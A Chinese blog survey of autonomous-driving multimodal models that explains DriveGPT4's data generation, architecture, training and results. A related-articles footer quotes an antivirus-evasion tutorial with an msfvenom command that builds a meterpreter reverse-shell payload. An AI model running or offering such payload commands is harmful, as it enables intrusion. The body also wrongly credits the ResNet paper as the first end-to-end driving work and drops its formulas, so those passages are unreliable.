2024自动驾驶(多模态)大模型综述:从DriveGPT4、DriveMLM到DriveLM、DriveVLM
前言
由于今年以来,一直在不断深挖具身智能机器人相关,而自动驾驶其实和机器人有着无比密切的联系,甚至可以认为,汽车就是一个带着4个轮子的机器人
加之个人认为,目前大模型落地潜力最大的两个方向,一个是机器人,另一个便是自动驾驶,于此,本文来了
本文主要涉及以下4篇paper的解读(按发表的时间顺序排列)
- DriveGPT4: Interpretable End-to-end Autonomous Driving via Large Language Model
- DriveMLM: Aligning Multi-Modal Large Language Models with Behavioral Planning States for Autonomous Driving
- DriveLM: Driving with Graph Visual Question Answering
- DriveVLM: The Convergence of Autonomous Driving and Large Vision-Language Models
第一部分 DriveGPT4:将大模型用于可解释的端到端自动驾驶
1.1 相关工作与数据生成
1.1.1 端到端自动驾驶、多模态LLM
所谓端到端自动驾驶旨在基于视觉输入直接预测车辆路径和低级控制信号
- 其中的这个工作:Deep Residual Learning for Image Recognition(byKaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun),则被认为是第一个深度学习端到端自动驾驶的工作
在这项工作中,作者训练了一个卷积神经网络,使用单目图像作为输入来控制车辆 - 而最近的工作通过将模块输出token化来集成所有系统模块 (Hu et al., 2023; Chen et al., 2023),实现了更强大和更稳健的控制效果
然而,这些工作缺乏可解释性,限制了其可信度和商业化潜力
另一方面,语言模型在自动驾驶领域的应用,其实早在几年前,便有人在BERT、GPT等这些数据集上做尝试,然后小模型毕竟能力有限,使得这类尝试没有啥效果
然随着大模型的爆发,加速了其与自动驾驶的融合,毕竟大模型相比之前的小模型,在常识推理上有着巨大的飞跃
1.1.2 数据生成
对于BDD-X 数据集
他们从 BDD-X 数据集中获取了视频和标签。 该数据集包含大约 20,000 个样本,其中包括 16,803 个用于训练的片段和 2,123 个用于测试的片段
每个片段被分为八张图像。 BDD-X 数据集为每一帧提供控制信号数据,例如车辆速度和转向角。它还包括文本注释,详细描述每个视频片段的车辆动作描述和动作理由,如下图所示:汽车停下,因为红灯
对于BDD-X 问答
BDD-X 提供三种类型的标签:车辆动作描述、动作理由和每个视频片段的控制信号。 为了训练LLM,需要问答(QA)对
- 首先,生成一组同义问题,并使用相应的 BDD-X 标签作为答案。 例如,对于车辆动作描述,一个等同于“这辆车当前的动作是什么?”的问题应作为输入问题发送给 LLM
- 然后,大模型应该生成response,其真实标签是车辆动作描述
考虑到BDD-X数据集中有三种类型的标签,创建了三个问题集: 、
和
。为了防止大模型过拟合到固定的问题模式,受(Liu et al., 2023)的启发,每个问题集应包含一个问题的多个同义表达
,偏动作描述,包含等同于“这辆车当前的动作是什么?”的同义问题
,偏动作理由,包含等同于 “为什么这辆车会这样行驶?”的同义问题
,偏控制信号,包含等同于 “预测下一帧中车辆的速度和转向角”的同义问题
随机选择的问题和相应的标签形成一个
对来创建数据集,大模型可以同时学习预测和解释车辆行为
然而,这些问答对的内容是固定和僵化的。 由于缺乏多样性,仅依靠这些问答进行训练将降低大模型的能力,使其无法回答其他格式的问题
考虑到还没有针对自动驾驶目的的视觉指令跟随数据集。 因此,他们基于 BDD-X 并借助ChatGPT 创建了DriveGPT4自己的数据集
比如,ChatGPT 被用作教师来生成更多关于自车的对话,提示通常遵循 LLaVA 中使用的提示
设计
- 为了使 ChatGPT 能够“看到”视频,让YOLOv8 (Reis et al., 2023) 来检测视频每一帧中常见的对象(例如,车辆、行人),获得的边界框坐标按照LLaVA 进行归一化,并作为特权信息发送给 ChatGPT
除了物体检测结果外,视频片段的真实控制信号序列和字幕也可以被ChatGPT访问
比如下图展示了输入ChatGPT的信息,包括视频字幕、控制信号和通过YOLOv8获得的物体检测结果 - 基于这些权信息,ChatGPT被提示生成关于自车、交通信号灯、转向方向、车道变更、周围物体、物体之间的空间关系等多个回合和类型的对话
最终,他们收集了56K视频-文本指令跟随样本,包括16K BDD-X问答和40K由ChatGPT生成的问答
1.2 DriveGPT4的模型架构与其训练
1.2.1 模型架构
DriveGPT4是一种多功能的多模态大型语言模型,能够处理各种输入类型,包括视频和文本
- 视频被均匀采样为固定数量的图像,并使用基于Valley (Luo et al., 2023) 的视频tokenizer将视频帧转换为text domain tokens
设输入视频帧表示为
对于每个视频帧,使用预训练的CLIP视觉编码器提取其特征
的第一个通道表示
的全局特征,而其他256个通道对应
的局部特征
为了简洁表示,图像的全局特征表示为
,而图像
的局部补丁特征表示为
整个视频的时间视觉特征可以表示为
其中 ⊕表示连接,整个视频的空间视觉特征由以下公式给出:
其中表示一个池化层,将
个特征转换为一个单一的特征张量,以提高内存效率。最终,时间特征
和空间特征
通过投影仪projector投射到文本域(text domain)中
- 接下来,大模型Large Language Model需要基于多模态输入数据(视频数据和文本数据),以预测下一步的控制信号:p (i.e., (
,
))
输入视频剪辑的时间长度和当前车辆速度包含在文本输入中
转向角表示当前帧与前一帧之间的相对角度
获得预测的token后,使用LLaMA分词器将token解码回文本,且预测的控制信号也嵌入在输出文本中(其使用固定格式,便于提取)
原因在于借鉴RT-2 (Brohan et al., 2023) 的灵感,文本和控制信号control signal使用相同的Text De-Tokenizer,这意味着控制信号可以被解释为一种语言——直接嵌入文本中且采用llama2默认的分词器
1.2.2 模型的训练:预训练与微调
与之前的LLM相关研究一致,DriveGPT4的训练分为两个阶段:
- 预训练阶段,重点在于视频-文本对齐
与LLaVA(Liu et al., 2023)和Valley(Luoet al., 2023)一致,模型在CC3M数据集的593K图像-文本对和WebVid-2M数据集(Bain et al., 2021)的703K视频-文本对上进行预训练
预训练图像和视频涵盖了各种主题,并未专门为自动驾驶应用设计。 在此阶段,CLIP编码器和LLM权重保持不变。 只有projector被训练 - 混合微调阶段,旨在训练LLM回答与可解释的端到端自动驾驶相关的问题
在此阶段,DriveGPT4中的LLM与projector一起训练
为了使DriveGPT4能够理解和处理领域知识,它使用在第之前生成的56K视频文本指令跟随数据进行训练。 为了增强DriveGPT4的视觉理解和问答能力,还利用了由LLaVA和Valley生成的223K通用指令跟随数据进行混合微调
“混合”表示通用视觉理解数据与任务特定指令调优数据一起用于我们的任务训练。 因此,DriveGPT4与56K自动驾驶视频文本指令跟随数据和223K通用指令跟随数据一起进行微调。
前者确保了DriveGPT4可以应用于可解释的端到端自动驾驶,而后者增强了DriveGPT4的数据多样性和视觉理解能力
1.3 实验
目前,除了 BDD-X 数据集外,很少有现有数据集提供由车载摄像头捕获的视频片段,并带有文本解释和控制信号的说明
因此,我们主要在 BDD-X 数据集上进行评估实验。 BDD-X 数据集经过筛选,去除控制信号和文本推理不一致的样本
1.3.1 可解释的自动驾驶:动作描述与理由、附加问答、定性结果
接下来,咱们评估 DriveGPT4 及其基线在解释生成方面的表现,涵盖车辆动作描述、动作理由以及关于车辆状态的附加问题,这是其中的几个细节
- ADAPT (Jin et al., 2023) 作为当前最先进的基准工作
但所有方法都使用8帧视频作为输入。 考虑到内存消耗和推理速度,DriveGPT4不像 ADAPT 那样使用32帧视频作为输入 - 最近的多模态视频理解大型语言模型 (Zhang et al., 2023; Luo et al., 2023) 也被考虑用于比较
测试集划分。在车辆驾驶过程中,场景的分布通常是不平衡的。 例如,一些简单的场景如直行驾驶比更具挑战性的车辆转弯或变道更常见
为了进行全面的评估比较,测试集根据驾驶场景和车辆状态分为“简单”、“中等”和“困难”集,如下表所示
最终,在动作描述和理由上,所有测试分组的评估结果显示在下表中
从结果中可以看出,DriveGPT4在所有测试数据上都优于之前的SOTA基线ADAPT,特别是在具有更具挑战性的驾驶场景和车辆动态的“困难”分组中
在附加问答上,评估结果如下表所示
ADAPT无法回答除车辆动作描述和解释之外的其他问题。 以前的视频理解LLM可以回答这些问题,但它们没有学习自动驾驶领域的知识。与所有基线相比,DriveGPT4表现出色,展示了其灵活性
在定性结果上,下图是BDD-X测试集的一个可视化示例(可以看出来,DriveGPT4可以根据提示生成高质量的文本和控制预测)
然后,为了验证DriveGPT4的泛化能力,我们将DriveGPT4应用于NuScenes数据集(Caesar等,2020)进行零样本问答,如下图所示
且还尝试在视频游戏中使用DriveGPT4,以进一步测试其泛化能力
1.3.2 PK GPT4-V:GPT4的多模态版本
作为GPT4的多模态版本,GPT4-V能够理解和推理单帧图像,然而,GPT4-V仍然是一个通用的图像模型,并未专门针对自动驾驶应用进行微调
在比较之前,GPT4-V预先提示了几个BDD-X问答对。 在定性评估期间,尽管GPT4-V展示了强大的识别和推理能力,但观察到它:1 无法预测数值控制信号,2 未能正确理解一些车辆动作,特别是动态动作(例如,转弯、加速等)
第二部分 DriveMLM
// 待更
相关文章:

2024自动驾驶(多模态)大模型综述:从DriveGPT4、DriveMLM到DriveLM、DriveVLM
前言 由于今年以来,一直在不断深挖具身智能机器人相关,而自动驾驶其实和机器人有着无比密切的联系,甚至可以认为,汽车就是一个带着4个轮子的机器人 加之个人认为,目前大模型落地潜力最大的两个方向,一个是…...

晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册 晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口,用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对…...

向上or向下调整建堆 的时间复杂度的本质区别的讲解
知识点:(N代表节点数,h代表高度) 1:高度为h的满二叉树节点个数N为 2^(h)-1 即N 2^(h)-1 2:所以h log(N1) 一:向上…...

阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染
所需知识 要解决这个实验室问题,您需要了解以下内容: 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...

[游戏开发] LuaTable转string存读二进制文件
UE5和Unity通用此方案,只不过读写文件的接口略有不同,lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...
光伏业务管理系统的一些妙用功能
现在信息化流程化基本上每个行业都必须要有的了,光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统,它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识,为光伏企业提供了一个全面、高效、智能的管理平台&…...

Java面试八股之请简述消息队列的发布订阅模式
请简述消息队列的发布订阅模式 发布订阅(Publish-Subscribe,简称 Pub/Sub)模型是一种消息传递模式,它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...

七、2 ADC数模转换器有关函数介绍(Keil5)
函数介绍 (1)ADCCLK的配置函数(在rcc.h中) (2)ADC的库函数(在adc.h中)...
了解载波侦听多路访问CSMA(上)
1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access,在笔者的理解中,其更趋向于一种理论研究的随机接入协议,或者说,基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种: 1-persistent…...

开启教育新征程:“集师” 知识付费平台搭建
在教育培训行业竞争日益激烈的今天,如何脱颖而出,实现知识的最大价值?答案就在 “集师” 知识付费平台搭建! “集师” 为您打造专属的知识付费平台,提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...
Vue3 + Electron 创建新的子窗口 且子窗口唯一
main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...

海康VisionMaster使用学习笔记2-相机取图及参数设置
相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...

【网络】【Linux】Linux内核中连接的组织形式与全连接队列
Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列?3.2全连接队列的长度 1.前言 TCP是面向连接的,TCP的各种可靠性机制实际都不…...

记录一次 npm ERR! cb() never called! 解决过程
gitlab cicd过程,使用docker部署Vue3前端项目,报错如下: 针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者…...

WEB渗透免杀篇-加载器免杀
SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...

什么是反人性设计?
目录 一、什么是人性? 二、什么是反人性设计? 三、有哪些反人性设计? 一、什么是人性? 人性,通常指的是人类共有的基本特质和行为倾向,它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...

如何进行长截图的两种方法
前言 本文主要讲2种截图方式,分别是谷歌和QQ。 谷歌分为Web端 和 移动端,选一种即可。 第一种:谷歌浏览器控制台自带的 1.先把控制台语言更改为中文,方便查看 ①.按F12,点击设置面板 ②.修改语言为中文并关闭 ③.点击…...

基于轨迹的汽车跟随系统横向控制方法
A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...

2024年8月15日嵌入式学习
今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程,当一个线程收到取消的申请时,他不会立即停止,而是在下一个取消点处结束运行,取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...

C++引用和指针的区别还分不清楚?
不像其他语言,c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌,给你画个表格协助判断。 总体上,我们可以总结为以下五个区别: 一、定义方式: 指针通过使用 * 来定义,例如࿱…...
vscode里如何用git
打开vs终端执行如下: 1 初始化 Git 仓库(如果尚未初始化) git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...

【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...

九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...

【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...

AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...